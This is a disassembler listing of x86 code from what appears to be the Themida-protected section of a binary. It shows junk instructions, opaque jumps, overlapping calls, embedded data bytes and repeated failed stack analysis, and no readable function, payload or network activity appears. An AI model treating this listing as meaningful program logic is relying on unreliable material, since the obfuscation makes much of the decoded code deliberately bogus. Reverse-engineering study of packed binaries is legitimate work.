loc_60E847: ; CODE XREF: sub_60E7BE+71j
add ah, 0CBh
sub ax, 5DDBh
jo loc_60E857
mov edx, ecx
loc_60E857: ; CODE XREF: sub_60E7BE+91j
movzx eax, bx
mov cx, dx
or bh, 6Fh
jmp loc_60E871
; ---------------------------------------------------------------------------
db 37h, 1Ch, 0A4h
dd 6760CE67h, 5FA5E7BAh
db 1Dh
; ---------------------------------------------------------------------------
loc_60E871: ; CODE XREF: sub_60E7BE+A2j
jg $+6
adc bx, 10EDh
and dx, 5F1Eh
jp loc_60E88C
pusha
mov esi, ecx
stc
popa
loc_60E88C: ; CODE XREF: sub_60E7BE+C3j
mov bx, dx
and di, 3183h
mov ecx, 1592DC55h
stc
jle loc_60E8A5
add di, 8A17h
loc_60E8A5: ; CODE XREF: sub_60E7BE+DCj
mov ch, 0ECh
jmp loc_60E8BA
; ---------------------------------------------------------------------------
dd 4D06CFD4h, 6058BC56h, 82BF1A01h
; ---------------------------------------------------------------------------
inc ebp
push esi
loc_60E8BA: ; CODE XREF: sub_60E7BE+E9j
jbe loc_60E8C3
mov cx, bx
loc_60E8C3: ; CODE XREF: sub_60E7BE:loc_60E8BAj
jl loc_60E8CE
mov esi, 8D169A2h
loc_60E8CE: ; CODE XREF: sub_60E7BE:loc_60E8C3j
jnp loc_60E8E0
js loc_60E8E0
jl $+6
loc_60E8E0: ; CODE XREF: sub_60E7BE:loc_60E8CEj
; sub_60E7BE+116j
sub eax, 2C3B059Ch
movsx ecx, dx
mov ecx, 1E11B611h
sbb eax, 76860231h
jno loc_60E8FF
pusha
xor dl, 0AEh
popa
loc_60E8FF: ; CODE XREF: sub_60E7BE+136j
mov dx, 0E8Eh
mov dx, 85E5h
jnp loc_60E911
mov cx, 80A3h
loc_60E911: ; CODE XREF: sub_60E7BE+149j
mov eax, edx
xor eax, 387AB0E3h
jmp loc_60E928
; ---------------------------------------------------------------------------
dw 106Ch
dd 0F99904D4h, 0D647B7A1h
; ---------------------------------------------------------------------------
loc_60E928: ; CODE XREF: sub_60E7BE+15Bj
movsx edx, di
mov di, 8C92h
jl loc_60E942
jmp loc_60E942
; ---------------------------------------------------------------------------
mov [eax-7466298Dh], esp
setalc
inc ecx
loc_60E942: ; CODE XREF: sub_60E7BE+171j
; sub_60E7BE+177j
jmp loc_60E953
; ---------------------------------------------------------------------------
mov bl, 0C1h
jge short loc_60E975
pop ebp
aad 6Fh
xchg eax, esp
and ah, [ecx+61h]
loc_60E953: ; CODE XREF: sub_60E7BE:loc_60E942j
jmp loc_60E967
; ---------------------------------------------------------------------------
adc edi, [edi+19733905h]
sbb al, 0A6h
dec esi
add dh, [eax-216F7218h]
loc_60E967: ; CODE XREF: sub_60E7BE:loc_60E953j
push edx
jmp loc_60E97B
; ---------------------------------------------------------------------------
db 0E5h, 0A9h, 0E6h
dd 0C968F598h
db 17h
; ---------------------------------------------------------------------------
loc_60E975: ; CODE XREF: sub_60E7BE+18Cj
sbb dh, ch
; ---------------------------------------------------------------------------
db 0F2h
db 0E8h, 0BFh, 0C0h
; ---------------------------------------------------------------------------
loc_60E97B: ; CODE XREF: sub_60E7BE+1AAj
pop ebx
add edi, 0F7DD05Dh
mov dx, si
pusha
mov dh, 60h
movzx edx, si
popa
jmp loc_60E99F
; ---------------------------------------------------------------------------
db 99h, 4, 4Ch
dd 0D2E2F1EDh, 50777C2Bh
; ---------------------------------------------------------------------------
adc [eax-12h], cl
loc_60E99F: ; CODE XREF: sub_60E7BE+1CEj
call near ptr loc_60E9A5+4
cdq
loc_60E9A5: ; CODE XREF: sub_60E7BE:loc_60E99Fp
or eax, 0FBAC186h
sub_60E7BE endp ; sp-analysis failed
mov word ptr [eax], es
; ---------------------------------------------------------------------------
dd 5E000000h, 10E9h, 87DFB100h, 6610CED7h, 7E98C993h, 2F0F9912h
dd 10E909h, 7F4A0000h, 0C9F5DB5Dh, 0F1570E5Ah, 0D8A4FF44h
dd 8B662B6Bh, 9840FF9h, 0F000000h, 38Eh, 0F9B70F00h, 12E9DCB4h
dd 9000000h, 0BEBB3CE8h, 0CF2282CAh, 0E70E2A04h, 0D82BDEB9h
dd 6FB6F9D8h, 81FCD7B7h, 0C5A860F1h, 0F80B257h, 0C881D0B7h
dd 25C296BFh, 1AFFE781h, 8AF50417h, 8840FF5h, 52000000h
dd 810Fh, 535B0000h, 59D38166h, 0B8665A6Bh, 0EE948F7h
dd 17000000h, 0F615A49Ah, 43945E96h, 0D1239AB4h, 10E884h
dd 6AD20000h, 0B20417A3h, 73EFF3B9h, 364F177h, 0D180126Fh
dd 880F5B53h, 1, 13E8F8h, 9C0A0000h, 0DD20B538h, 0ABA71F97h
dd 4D91E5C1h, 0D5717827h, 0EF681EBh, 5E1CC243h, 0EA575AB9h
dd 5840F2Ah, 66000000h, 0CDAEF681h, 0EE9h, 0A747FE00h
dd 702F0003h, 85499974h, 663CF4B4h, 0F581E281h, 0FE76BF66h
dd 0B274C681h, 666034A0h, 0BE8C78Bh, 83000000h, 7A775676h
dd 9C0F70B0h, 0BF0F080Fh, 66615FDBh, 0B6E06FBEh, 56DD80FBh
dd 0C88BF48Ah, 2DA1DF81h, 28B061AFh, 0F8FCB80h, 8Fh, 8E900h
dd 0EB5F0000h, 10067846h, 0B70F506Eh, 0C6B70FDAh, 6E9h
dd 9C58C800h, 813AD5E6h, 0F8A8CCC7h, 0FA8BF96Eh, 0C678BA66h
dd 41BB66F9h, 0C4E1804Dh, 6874BB66h, 0EE9h, 0AEBF9600h
dd 0E2844D1Ch, 8D3DAC67h, 0E9CF5E93h, 13h, 2F135AACh, 0AC9B96CDh
dd 0D8CB2411h, 0DDF60AF8h, 606D881Dh, 860F97B0h, 6, 810Fh
dd 66610000h, 6E7D081h, 830F5260h, 0
; ---------------------------------------------------------------------------
pop ebx
pusha
mov al, bl
mov si, di
popa
popa
mov di, bx
jmp loc_60EB98
; ---------------------------------------------------------------------------
db 4Dh, 52h, 0EEh
dd 64BA9230h, 79A2FF52h, 8B4C7A6Bh
; ---------------------------------------------------------------------------
loc_60EB98: ; CODE XREF: Themida_:0060EB84j
jnz loc_60EB9F
stc
loc_60EB9F: ; CODE XREF: Themida_:loc_60EB98j
movsx ebx, di
jmp loc_60EBB8
; ---------------------------------------------------------------------------
db 1Ah
dd 0E2FC07FCh, 0B5FFDB6Fh, 0B469DADDh, 0AC9ACFB8h
; ---------------------------------------------------------------------------
loc_60EBB8: ; CODE XREF: Themida_:0060EBA2j
jnz loc_60EBC1
movzx eax, dx
loc_60EBC1: ; CODE XREF: Themida_:loc_60EBB8j
push eax
push edi
and ecx, 58C5EF32h
pop eax
pop ebx
push edx
jns near ptr loc_60EBE4+2
call near ptr loc_60EBE4+1
mov cl, 5Dh
in eax, dx
fdivr dword ptr [edx]
movsb
xor eax, 1C3207A2h
xchg eax, ecx
cmpsb
loc_60EBE4: ; CODE XREF: Themida_:0060EBD2p
; Themida_:0060EBCCj
jmp near ptr 60B84741h
; ---------------------------------------------------------------------------
mov edi, ebx
popa
pop ecx
jmp loc_60EBF8
; ---------------------------------------------------------------------------
sal bh, 5
and [ecx], edi
xchg eax, edi
loc_60EBF8: ; CODE XREF: Themida_:0060EBEDj
jmp loc_60EC0C
; ---------------------------------------------------------------------------
db 71h, 0A7h, 9Dh
dd 898CE7ABh, 77C18D2Bh, 0F8AA31FFh
; ---------------------------------------------------------------------------
loc_60EC0C: ; CODE XREF: Themida_:loc_60EBF8j
jns loc_60EC15
mov si, bx
loc_60EC15: ; CODE XREF: Themida_:loc_60EC0Cj
mov ebx, 56D939A3h
jmp loc_60EC28
; ---------------------------------------------------------------------------
db 0F4h
dd 3B2ADB5Ch, 5A1B72AFh
; ---------------------------------------------------------------------------
loc_60EC28: ; CODE XREF: Themida_:0060EC1Aj
mov cx, 95Ch
js loc_60EC49
jmp loc_60EC49
; ---------------------------------------------------------------------------
db 0B2h
; ---------------------------------------------------------------------------
push 8EBBECACh
adc al, 61h
mov ds:0EB00DF54h, eax
inc ecx
adc al, 0D2h
std
push cs
loc_60EC49: ; CODE XREF: Themida_:0060EC2Cj
; Themida_:0060EC32j
movsx edi, ax
sub cl, 16h
mov ebx, edx
jmp loc_60EC5B
; ---------------------------------------------------------------------------
dw 31C8h
db 3Dh, 0A0h, 67h
; ---------------------------------------------------------------------------
loc_60EC5B: ; CODE XREF: Themida_:0060EC51j
adc cx, 0DD7Dh
xor esi, 6352A94h
mov edx, 2D33AD43h
push edx
jnp loc_60EC78
sub edx, 6C36E85Ah
loc_60EC78: ; CODE XREF: Themida_:0060EC6Cj
pop edx
call sub_60EC8D
setalc
push edx
dec ecx
enter 0FFFF9EB0h, 0E5h
js short near ptr sub_60ECE3+3
jbe short loc_60EC93
add al, 7
mov ah, 0CEh
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_60EC8D proc near ; CODE XREF: Themida_:0060EC79p
jmp sub_60EC9B
sub_60EC8D endp
; ---------------------------------------------------------------------------
db 63h
; ---------------------------------------------------------------------------
loc_60EC93: ; CODE XREF: Themida_:0060EC87j
add [edi-3Ch], cl
jmp dword ptr [ecx+ebp*8]
; ---------------------------------------------------------------------------
cmp al, bh
; =============== S U B R O U T I N E =======================================
sub_60EC9B proc near ; CODE XREF: sub_60EC8Dj
pop eax
movsx ecx, dx
mov ah, 96h
mov eax, esi
add edi, 1A4F78B9h
stc
jl loc_60ECB4
mov si, 9669h
loc_60ECB4: ; CODE XREF: sub_60EC9B+Fj
xor dl, 0C2h
sub ah, 0ABh
jl loc_60ECC6
and edi, 456AD5B7h ; CODE XREF: sub_60ECE3+21j
loc_60ECC6: ; CODE XREF: sub_60EC9B+1Fj
mov edx, 24F93A38h
mov di, 0DC60h
call sub_60ECE3
mov bl, 0A9h
xor al, 0A9h
mul dword ptr [eax+edx*8+2F507CB6h]
sub dl, 58h
into
sub_60EC9B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_60ECE3 proc near ; CODE XREF: sub_60EC9B+34p
; Themida_:0060EC85j
jnz loc_60ECEC
mov di, dx
loc_60ECEC: ; CODE XREF: sub_60ECE3j
pop edx
push ebx
mov di, ax
pop ebx
loc_60ECF2: ; CODE XREF: sub_60ECE3+1Aj
jz loc_60ED09
call sub_60ED07
ja short loc_60ECF2
in eax, dx
push ds
dec edx
aam 76h
loope near ptr loc_60ECC0+5
inc ebx
sub_60ECE3 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_60ED07 proc near ; CODE XREF: sub_60ECE3+15p
stc
pop edi
loc_60ED09: ; CODE XREF: sub_60ECE3:loc_60ECF2j
adc si, 7909h
pusha
mov bl, 74h
mov cl, bl
popa
mov bl, 0B8h
sbb di, 0F643h
mov bh, al
call sub_60ED27
mov esp, 0ACB3AFE2h
sub_60ED07 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_60ED27 proc near ; CODE XREF: sub_60ED07+16p
jmp sub_60ED31
sub_60ED27 endp
; ---------------------------------------------------------------------------
dd 342DD352h
db 0Dh
; =============== S U B R O U T I N E =======================================
sub_60ED31 proc near ; CODE XREF: sub_60ED27j
pop edi
jmp loc_60ED44
; ---------------------------------------------------------------------------
db 0CDh
; ---------------------------------------------------------------------------
sbb esi, esp
dec eax
xchg eax, esp
test [ecx], edx
and edx, [esi-790B895Fh]
loc_60ED44: ; CODE XREF: sub_60ED31+1j
push ecx
jnb loc_60ED51
and edx, 62F7D753h
loc_60ED51: ; CODE XREF: sub_60ED31+14j
pop edx
jz loc_60ED60
jno loc_60ED60
mov edx, ecx
loc_60ED60: ; CODE XREF: sub_60ED31+21j
; sub_60ED31+27j
mov bh, 0F1h
mov cx, 0F7A4h
stc
mov cx, 0DE01h
clc
jnp loc_60ED75
mov di, bx
loc_60ED75: ; CODE XREF: sub_60ED31+3Bj
push ecx
jbe loc_60ED81
sub si, 0F67Ch
loc_60ED81: ; CODE XREF: sub_60ED31+45j
pop edi
mov dh, 0DEh
call loc_60ED99
push cs
out 67h, al
adc cl, bl
xchg eax, esi
iret
sub_60ED31 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dd 2BF9AA8h, 46250677h
db 2
; ---------------------------------------------------------------------------
loc_60ED99: ; CODE XREF: sub_60ED31+53p
mov di, ax
pop edx
jbe loc_60EDBF
call loc_60EDB9
xchg eax, esi
in al, 58h
clc
mov al, ds:8C175B06h
; ---------------------------------------------------------------------------
dw 8AD9h
dd 0FBE3C72Ch
db 1Ch
; ---------------------------------------------------------------------------
loc_60EDB9: ; CODE XREF: Themida_:0060EDA3p
mov ecx, 69AF714Ah
pop esi
loc_60EDBF: ; CODE XREF: Themida_:0060ED9Dj
and dl, 28h
jl loc_60EDCB
add bh, 58h
loc_60EDCB: ; CODE XREF: Themida_:0060EDC2j
stc
jle loc_60EDEA
jmp loc_60EDEA
; ---------------------------------------------------------------------------
push ds
movsd
push eax
sahf
add eax, 302644D2h
pop edx
lahf
adc ds:0D6D46A0Dh, esi
test bh, ch
loc_60EDEA: ; CODE XREF: Themida_:0060EDCCj
; Themida_:0060EDD2j
mov esi, edi
mov di, 9FA7h
sub bx, 4CCBh
stc
push edi
movzx ecx, dx
pop eax
sbb cl, 0CAh
sub bl, 0C2h
mov di, 0EAE0h
jmp loc_60EE13
; ---------------------------------------------------------------------------
and eax, 0D16931BCh
adc ah, [edx-1Ah]
retn
; ---------------------------------------------------------------------------
loc_60EE13: ; CODE XREF: Themida_:0060EE05j
adc ch, 0C2h
mov eax, ebx
jno loc_60EE27
jb loc_60EE27
mov ax, dx
loc_60EE27: ; CODE XREF: Themida_:0060EE18j
; Themida_:0060EE1Ej
mov ecx, ebx
jnb $+6
pusha
mov bh, ah
jb loc_60EE3C
mov si, 0E0E3h
loc_60EE3C: ; CODE XREF: Themida_:0060EE32j
popa
mov bl, 0D5h
cld
pusha
jmp loc_60EE53
; ---------------------------------------------------------------------------
dw 0E6DAh
dd 0C4FE940Bh, 2BE909FCh
db 0ADh, 0Eh, 0E0h
; ---------------------------------------------------------------------------
loc_60EE53: ; CODE XREF: Themida_:0060EE41j
jmp loc_60EE64
; ---------------------------------------------------------------------------
dd 37D8A028h, 394C7057h, 3C51AD54h
; ---------------------------------------------------------------------------
loc_60EE64: ; CODE XREF: Themida_:loc_60EE53j
popa
mov bx, 0E36Fh
mov esi, 53F1FF92h
call sub_60EE7B
aad 45h
das
out dx, eax
; ---------------------------------------------------------------------------
db 0FFh
db 79h, 0EEh, 0CDh
; =============== S U B R O U T I N E =======================================
sub_60EE7B proc near ; CODE XREF: Themida_:0060EE6Ep
or edx, 40EA8403h
pop esi
mov bx, cx
pusha
cmc
adc eax, 28D69FCDh
popa
jp loc_60EEB0
jle loc_60EEB0
jmp loc_60EEB0
; ---------------------------------------------------------------------------
db 4Eh
dd 5D826738h, 76E6EFE0h, 0CFC1993h, 9392ABC2h
; ---------------------------------------------------------------------------
loc_60EEB0: ; CODE XREF: sub_60EE7B+13j
; sub_60EE7B+19j ...
movzx edx, si
jmp loc_60EEBF
; ---------------------------------------------------------------------------
dd 0B9931663h
db 32h, 2Eh, 8Ah
; ---------------------------------------------------------------------------
loc_60EEBF: ; CODE XREF: sub_60EE7B+38j
pusha
mov ax, 0BFE4h
jp loc_60EECC
mov bh, 0C3h
loc_60EECC: ; CODE XREF: sub_60EE7B+49j
popa
pusha
and ah, 7Ch
and edi, 7D7D4C82h
popa
movzx eax, dx
jmp loc_60EEF2
; ---------------------------------------------------------------------------
dd 0C4CC5B25h, 59B2641Ah, 78477916h, 0EA02B811h
; ---------------------------------------------------------------------------
inc edx
wait
loc_60EEF2: ; CODE XREF: sub_60EE7B+60j
push ecx
pusha
pusha
popa
mov esi, 6EB545FAh
popa
pop eax
sub bx, 1D1h
mov dx, si
jmp loc_60EF12
; ---------------------------------------------------------------------------
jb short loc_60EF63
lds ebx, [ebx+40921B5h]
loc_60EF12: ; CODE XREF: sub_60EE7B+8Aj
mov dl, 0Bh
push esi
jmp loc_60EF22
; ---------------------------------------------------------------------------
dw 0C03h
dd 6DC96EBBh
db 0DBh, 65h
; ---------------------------------------------------------------------------
loc_60EF22: ; CODE XREF: sub_60EE7B+9Aj
pop eax
call sub_60EF2F
wait
cmp [edx-72B5BE37h], ch
sub_60EE7B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_60EF2F proc near ; CODE XREF: sub_60EE7B+A8p
mov dx, 0E408h
pop esi
jbe loc_60EF5A
pusha
jmp loc_60EF53
; ---------------------------------------------------------------------------
dd 430F7D37h, 7BC23C41h, 10F0BEFh, 0E17498AFh
db 4Dh, 77h, 9Bh
; ---------------------------------------------------------------------------
loc_60EF53: ; CODE XREF: sub_60EF2F+Cj
jz $+6
popa
loc_60EF5A: ; CODE XREF: sub_60EF2F+5j
call near ptr loc_60EF63+1
add dl, dl
mov edx, [ecx]
loc_60EF63: ; CODE XREF: sub_60EE7B+8Fj
; sub_60EF2F:loc_60EF5Ap
mov [edi], ecx
sub_60EF2F endp ; sp-analysis failed
mov edi, 25B65FF8h
mov si, di
jle loc_60EF8D
call sub_60EF89
xchg eax, edx
; ---------------------------------------------------------------------------
db 0FEh, 3Ah, 8Ah
dd 0F2FD2E4Fh, 74501B60h, 0A15D9DB9h
db 0F3h
; =============== S U B R O U T I N E =======================================
sub_60EF89 proc near ; CODE XREF: Themida_:0060EF73p
xor bh, 68h
pop esi
loc_60EF8D: ; CODE XREF: Themida_:0060EF6Dj
stc
sub edi, 3FE9438h
jmp loc_60EFAC
; ---------------------------------------------------------------------------
db 0EEh, 84h, 0D5h
dd 0BD181080h, 39CD7813h, 67A3BA6Bh, 6BAB2107h
; ---------------------------------------------------------------------------
loc_60EFAC: ; CODE XREF: sub_60EF89+Bj
add dh, 2Fh
jmp loc_60EFBE
; ---------------------------------------------------------------------------
dd 234BFCBEh, 7FF60C50h
db 0A9h, 18h
; ---------------------------------------------------------------------------
loc_60EFBE: ; CODE XREF: sub_60EF89+26j
mov bx, si
jmp loc_60EFD1
; ---------------------------------------------------------------------------
dw 61D3h
dd 5C901BA0h, 5370A497h
db 0BAh
; ---------------------------------------------------------------------------
loc_60EFD1: ; CODE XREF: sub_60EF89+38j
mov esi, 7A2D582Fh
jle loc_60EFE1
add si, 3CCFh
loc_60EFE1: ; CODE XREF: sub_60EF89+4Dj
mov si, 0C4BBh
jp loc_60EFEF
mov dx, 0C8CAh
loc_60EFEF: ; CODE XREF: sub_60EF89+5Cj
stc
call near ptr sub_60F007
iret
sub_60EF89 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
sbb [eax+3Eh], esi
retn 0AAF5h
; ---------------------------------------------------------------------------
dd 70F6A704h, 64287B95h
db 0C8h, 45h, 0A4h
; =============== S U B R O U T I N E =======================================
sub_60F007 proc far ; CODE XREF: sub_60EF89+67p
mov ecx, edx
pop ebx
and eax, 55100482h
mov eax, 40E5B9F8h
clc
sub dl, 9Dh
jb loc_60F02D
jmp loc_60F02D
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0D8h, 0F8h, 0Ah
dd 881DDDF6h
db 6Dh
; ---------------------------------------------------------------------------
loc_60F02D: ; CODE XREF: sub_60F007+12j
; sub_60F007+18j
or bx, 0E301h
jmp loc_60F049
; ---------------------------------------------------------------------------
db 9Fh
dd 0AEC1328Ah, 0D25BA30Eh, 0A6B58ECAh, 64CDE575h
; ---------------------------------------------------------------------------
pop ds
loc_60F049: ; CODE XREF: sub_60F007+2Bj
sbb cl, 53h
clc
call sub_60F05A
mov bh, 9
retn 9A06h
sub_60F007 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 2Dh
; ---------------------------------------------------------------------------
aad 3Fh
; =============== S U B R O U T I N E =======================================
sub_60F05A proc near ; CODE XREF: sub_60F007+46p
mov ebx, eax
pop edx
jmp loc_60F06D
; ---------------------------------------------------------------------------
dw 0C103h
dd 0AFC6F8Dh, 2129C9C2h
db 35h
; ---------------------------------------------------------------------------
loc_60F06D: ; CODE XREF: sub_60F05A+3j
and bx, 0DCADh
push edx
mov bx, 4D13h
pop edx
mov al, 77h
mov dx, 0AEE8h
push eax
mov di, 3F7h
pop ecx
jl loc_60F08B
stc
loc_60F08B: ; CODE XREF: sub_60F05A+2Aj
call sub_60F09F
les ebx, [eax+6AD4CE73h]
push ebp
add eax, 1731A2C7h
adc bh, [eax+32h]
sub_60F05A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_60F09F proc near ; CODE XREF: sub_60F05A:loc_60F08Bp
or dx, 34E6h
pop edx
or si, 3E7Ch
mov al, 0E5h
movzx edi, ax
mov ebx, edx
jmp loc_60F0C0
; ---------------------------------------------------------------------------
cdq
dec eax
push ecx
xor [ebx+eax*2-3Ch], esp
and ebx, [ebx+52h]
loc_60F0C0: ; CODE XREF: sub_60F09F+12j
mov ah, 37h
call sub_60F0CF
fistp word ptr [ecx+690D7A12h]
in eax, 89h ; DMA page register 74LS612:
sub_60F09F endp ; sp-analysis failed ; Channel 6 (address bits 17-23)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_60F0CF proc near ; CODE XREF: sub_60F09F+23p
jmp sub_60F0E2
sub_60F0CF endp
; ---------------------------------------------------------------------------
dd 1959FF0Fh, 67785D0Ah, 0F7D77642h
; ---------------------------------------------------------------------------
xchg eax, edx
inc edi
; =============== S U B R O U T I N E =======================================
sub_60F0E2 proc near ; CODE XREF: sub_60F0CFj
pop ebx
add ah, 3Dh
mov dx, bx
mov dx, 7F19h
call near ptr loc_60F0F7+5
js short near ptr loc_60F132+1
add dh, bh
push edi
loc_60F0F7: ; CODE XREF: sub_60F0E2+Bp
xor ds:5A26D940h, ah
sub_60F0E2 endp ; sp-analysis failed
jmp loc_60F108
; ---------------------------------------------------------------------------
and [ebp-23h], ebx
xor cl, [edx-30h]
loc_60F108: ; CODE XREF: Themida_:0060F0FDj
movzx esi, si
mov ecx, eax
mov edi, ecx
mov cl, 3Ch
jb loc_60F11A
movzx eax, ax
loc_60F11A: ; CODE XREF: Themida_:0060F111j
movzx edx, cx
or dh, 0Dh
jmp loc_60F12E
; ---------------------------------------------------------------------------
lodsb
cmp ds:119882D8h, ah
pop eax
pop ds
loc_60F12E: ; CODE XREF: Themida_:0060F120j
mov bx, 406Eh
loc_60F132: ; CODE XREF: sub_60F0E2+10j
jl loc_60F139
stc
loc_60F139: ; CODE XREF: Themida_:loc_60F132j
push ebx
mov edi, esi
pop esi
movsx esi, ax
ja $+6
adc si, 0A1FEh
cld
xor bx, 0B4C2h
cmc
jmp loc_60F15F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_60F196
loc_60F157: ; CODE XREF: sub_60F196+Dj
hlt
; END OF FUNCTION CHUNK FOR sub_60F196
; ---------------------------------------------------------------------------
sub eax, 0D511BFBFh
mov esp, edx
loc_60F15F: ; CODE XREF: Themida_:0060F152j
mov dx, 0A1BDh
and ax, 5BB0h
jmp loc_60F181
; ---------------------------------------------------------------------------
test dl, ah
sbb [ecx+75h], dh
push esi
xor al, 0FCh
sbb [edi+11DDA27Bh], edx
imul edx, [edx], 64h
sub ch, [esi+4Ah]
loc_60F181: ; CODE XREF: Themida_:0060F168j
sbb bx, 0D56Ch
call sub_60F196
imul ecx, [eax], 7C0449E6h ; CODE XREF: Themida_:0060F194j
sahf
cdq
inc ebx
jmp short near ptr loc_60F18B+5
; =============== S U B R O U T I N E =======================================
sub_60F196 proc near ; CODE XREF: Themida_:0060F186p
; FUNCTION CHUNK AT 0060F157 SIZE 00000001 BYTES
mov edi, esi
pop eax
call near ptr loc_60F1AC+2
lds eax, [edi]
scasd
push cs
xchg eax, edx
js short loc_60F157
add eax, 544DECBEh
rcl edi, 1
loc_60F1AC: ; CODE XREF: sub_60F196+3p
call near ptr 4E4FAA1Bh
sub_60F196 endp ; sp-analysis failed
push eax
cmp [ecx-7Fh], bl
sar dword ptr [edx-6F06FA9h], 66h
mov esi, 0BF0F0E69h
iret
; ---------------------------------------------------------------------------
dw 8166h
dd 0FC1FDDDAh, 0AFA2B866h, 1F24CDB9h, 0DA8B6664h, 8160D9B0h
dd 4C7D54DAh, 0A8D6BF6Eh, 0E861699Ah, 0Eh, 86E03E1Eh, 0B304C6FEh
dd 8EBADCD3h, 0BA665E25h, 815EE751h, 3635E1F6h, 0BF0F5149h
dd 63BF5BD7h, 810B6FFDh, 10D6CAC7h, 0CE81667Eh, 0A2B69DB9h
dd 5FE9B357h, 13E9h, 9D6E0700h, 0B0D6686Ch, 2C98B75Ch
dd 0DDF5872Dh, 1E05529Ah, 0BF0FCB8Bh, 9E9F3h, 3B320000h
dd 6BD222D7h, 0F38A3E5h, 284h, 0E9DC8A00h, 9, 88A170A2h
dd 0A5BC99E1h, 8C0FF986h, 10h, 8E8h, 0B1BB1500h, 0D50D2E9Fh
dd 5E5F529Fh, 0BA66CEB5h, 0BF0F308Ch, 6E9F6h, 0BF300000h
dd 99CF0D58h, 7CA66BBEh, 8166606Dh, 8142A5E1h, 1EFC78CBh
dd 7E96118h, 14000000h, 28764B5h, 0D18BFB6Fh, 88CF8166h
dd 0CE993h, 32220000h, 34B5E429h, 198CD795h, 16BA86C7h
dd 0E81ABB1Eh, 5, 0B87F7F1Ch, 0C08166F0h, 815F79F9h, 0CE3B6BE6h
dd 0D38B662Eh, 0FFBBF0Fh, 0BE9F7B7h, 2C000000h, 0E68870F3h
dd 0D2B3D5C9h, 9E9F932h, 0B9000000h, 949DA60Dh, 22F9C858h
dd 0B2CE8B66h, 11840FCCh, 0E9000000h, 0Ch, 4A1EEDF3h, 0BFE176D4h
dd 0A397B143h, 0DE8h, 0C429D200h, 1D4C94A1h, 0FB3214E1h
dd 0DF815EADh, 7BE12C04h, 7EE1805Bh, 7E8h, 3604A00h, 0BBD3208Bh
dd 462AF181h, 0E95F630Dh, 6, 34269065h, 8F0F9A0Ch, 5, 0C1DF8166h
dd 0F1816605h, 0DE9C146h, 0D1000000h, 0DD7E1DE3h, 0C5293515h
dd 33086C3Dh, 0CE8h, 584EDC00h, 297CA5B2h, 7D92055Eh, 0C6BF0F3Ch
dd 76DE815Ah, 664551DDh, 8E88F281h, 0FE8h, 61B60F00h, 99ECAA2Dh
dd 0D5A8F051h, 37A2C50Ch, 0BE5FC28Bh, 29E9E259h, 0F8F5C88Bh
dd 0B81AC680h, 668FD38Ah, 0BBF8DF8Bh, 6C6B82FAh, 92B45A53h
dd 890FFB8Bh, 0
; ---------------------------------------------------------------------------
sbb eax, 239012F1h
mov ah, 0F4h
jmp loc_60F3EA
; ---------------------------------------------------------------------------
db 59h, 50h, 22h
; ---------------------------------------------------------------------------
test [edi-762A806Eh], ebx
loc_60F3EA: ; CODE XREF: Themida_:0060F3DCj
mov edx, esi
cmc
mov bx, si
jmp loc_60F407
; ---------------------------------------------------------------------------
db 7, 97h, 0A9h
dd 7A6A53A0h, 0D01A9835h, 0DC9A5FECh
db 0B3h, 4Bh, 8
; ---------------------------------------------------------------------------
loc_60F407: ; CODE XREF: Themida_:0060F3F0j
mov ecx, edx
loc_60F409: ; CODE XREF: Themida_:0060F47Fj
adc bx, 97CAh
jg loc_60F41C
jb loc_60F41C
push esi
pop esi
loc_60F41C: ; CODE XREF: Themida_:0060F40Ej
; Themida_:0060F414j
sub ebx, 4A8499A3h
movsx eax, ax
movzx ebx, si
push eax
sbb ch, 3Bh
pop edi
movsx ebx, bx
call near ptr loc_60F435+6
loc_60F435: ; CODE XREF: Themida_:0060F430p
imul eax, [edx+0A64F239h], 5Eh
jo loc_60F445
mov ax, cx
loc_60F445: ; CODE XREF: Themida_:0060F43Cj
jmp loc_60F45D
; ---------------------------------------------------------------------------
dw 0F7B4h
dd 8E6C7B49h, 47B4AE07h, 0C0E4BECDh, 0A24E86B0h
db 0B2h
; ---------------------------------------------------------------------------
loc_60F45D: ; CODE XREF: Themida_:loc_60F445j
jmp loc_60F467
; ---------------------------------------------------------------------------
mov bh, 4Ch
setalc
dec esp
cmpsd
loc_60F467: ; CODE XREF: Themida_:loc_60F45Dj
jmp loc_60F476
; ---------------------------------------------------------------------------
dd 0EC4E88E8h, 0BC0D1FBDh
db 0D9h, 9Ah
; ---------------------------------------------------------------------------
loc_60F476: ; CODE XREF: Themida_:loc_60F467j
movsx eax, si
jmp loc_60F484
; ---------------------------------------------------------------------------
pusha
loopne loc_60F409
test bl, 0Fh
loc_60F484: ; CODE XREF: Themida_:0060F479j
stc
mov cx, dx
mov edx, edi
sbb bl, 78h
or cx, 206Dh
pusha
push esi
mov di, 0A0E6h
pop ecx
push esi
mov bl, 0CAh
pop ebx
popa
sub bl, 97h
adc bx, 57A2h
pusha
mov esi, ebx
sbb esi, 746AC72Ch
popa
pusha
mov eax, 0AADA43h
popa
jle loc_60F4D1
jmp loc_60F4D1
; ---------------------------------------------------------------------------
dw 7356h
db 0CCh
db 7Ch, 86h, 52h
dd 5D5C7659h, 0F4FE446Ah
db 8Eh
; ---------------------------------------------------------------------------
loc_60F4D1: ; CODE XREF: Themida_:0060F4B7j
; Themida_:0060F4BDj
mov bx, cx
push esi
pusha
mov eax, 6240F4Ah
sub eax, 4D3967C2h
popa
pop edx
call near ptr loc_60F4EE+2
cld
push cs
and [esp+ecx-2Eh], ebp
loc_60F4EE: ; CODE XREF: Themida_:0060F4E3p
and eax, 10E9AAh
; ---------------------------------------------------------------------------
db 0
dd 235D9700h, 0B61EC182h, 22966262h, 63D26A1Bh, 0B75658A6h
dd 8E95A43h, 4C000000h, 3B14F8A2h, 0F7BCAE1h, 8Fh, 3890F00h
dd 0F000000h, 850FD1BFh, 5, 0D1E68166h, 12E889h, 9B630000h
